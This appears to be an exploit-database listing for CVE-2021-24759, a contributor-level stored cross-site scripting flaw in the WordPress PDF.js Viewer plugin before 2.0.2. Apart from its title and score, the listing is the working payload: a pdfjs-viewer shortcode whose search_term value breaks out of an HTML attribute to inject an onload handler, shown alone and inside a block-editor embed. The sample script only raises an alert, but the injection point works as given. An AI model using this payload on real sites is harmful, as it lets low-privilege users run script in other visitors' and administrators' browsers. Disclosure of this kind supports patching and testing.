Exploit for PDF.js Viewer < 2.0.2 - Contributor+ Stored Cross-Site Scripting CVE-2021-24759

Name: Exploit for PDF.js Viewer < 2.0.2 - Contributor+ Stored Cross-Site Scripting CVE-2021-24759
Rating: 5 (76 reviews)

2021-11-08 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:38274EF2-5100-4669-9544-A42346B6727D
[pdfjs-viewer search_term='" onload="alert(/XSS/)']

<!-- wp:pdfjsblock/pdfjs-embed {"searchText":"this is ignored"} -->
<div class="wp-block-pdfjsblock-pdfjs-embed pdfjs-wrapper">[pdfjs-viewer viewer_width=0 viewer_height=800 url=undefined download=true print=true fullscreen=false fullscreen_target=false fullscreen_text="on" zoom=0 search_term='" onload="alert(/XSS/)' ]</div>
<!-- /wp:pdfjsblock/pdfjs-embed -->